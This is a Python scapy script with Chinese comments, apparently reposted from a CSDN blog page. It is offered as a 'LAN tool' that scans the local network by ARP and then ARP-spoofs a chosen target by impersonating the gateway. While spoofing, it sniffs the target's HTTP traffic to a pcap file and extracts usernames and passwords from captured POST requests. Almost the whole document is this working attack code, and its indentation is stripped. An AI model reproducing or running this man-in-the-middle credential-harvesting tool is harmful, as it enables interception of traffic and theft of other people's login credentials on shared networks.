from scapy.all import *
import os
import re
import time
import threading
result=os.popen("route print").read()
re1=re.findall(r"0\.0\.0\.0\s+0\.0\.0\.0\s+(.+?)\s+(.+?)\s",result)
gateway=re1[0][0] #获取本机网关
ip=re1[0][1] #获取本机ip
addr={}
print(ip,gateway)
def scan(IpScan):
print("扫描中,请稍候...")
#r与srp,发送并接受,且sr不能发送二层协议,srp才能。
#ans是收到的有响应的包,unans指收到的没有响应的包。
ans,unans = srp(Ether(dst="FF:FF:FF:FF:FF:FF")/ARP(pdst=IpScan),timeout=2,verbose=0)
print("本次扫描一共扫描到%d台主机:" % len(ans))
for send,recv in ans:
#接受对方回应包里面的Mac地址和IP地址
print("%s----%s"%(recv[Ether].src,recv[ARP].psrc))
#将对方的回应的Mac地址和IP地址存到字典里面key=ip,value=mac
addr[recv[ARP].psrc]=recv[Ether].src
def cap(tt,m):
#监听接收方ip是m的https信息tt秒,并存到pks里面
pkts=sniff(filter="tcp dst port 80 and host {}".format(m),timeout=tt)
wrpcap("demo.pcap",pkts) #保存在同一目录,生成demo.pcap文件
print("抓包数据已保存!")
def spoof():
m=input("请输入一个攻击目标:")
t1=int(input("请输入攻击时间:"))
t=threading.Thread(target=cap,args=(t1,m))
t.start()
for i in range(t1*5):
#arp欺骗,冒充网关给m发包
sendp(Ether(dst=addr[m])/ARP(psrc=gateway,pdst=m),verbose=0)
time.sleep(0.1)
print("攻击完成!")
def analyze():
pkts=rdpcap("demo.pcap")#读取包
for p in pkts:
if p.haslayer(Raw):#找出有上网数据的
try:
httpr=p.load.decode()
if not httpr.startswith("GET"): #找post的包
#userName=17791900663&passWord=abc123456
username=re.findall(r"userName=(\w+)",httpr)
pwd=re.findall(r"passWord=(\w+)",httpr)
if username and pwd:
print(time.ctime(p.time))
print("用户名:",username[0])
print("密码:",pwd[0])
except:
pass
while 1:
print("欢迎使用我的局域网小工具:")
print("1 扫描")
print("2 欺骗")
print("3 分析")
print("4 退出")
op=input("你的操作:")
if op=="1":
scan(ip+"/24")
elif op=="2":
spoof()
elif op=="3":
analyze()
else:
break
print("再见!")
python 实现扫描器,arp欺骗,数据包分析。
猜你喜欢
转载自blog.csdn.net/haha13l4/article/details/89594637
今日推荐
周排行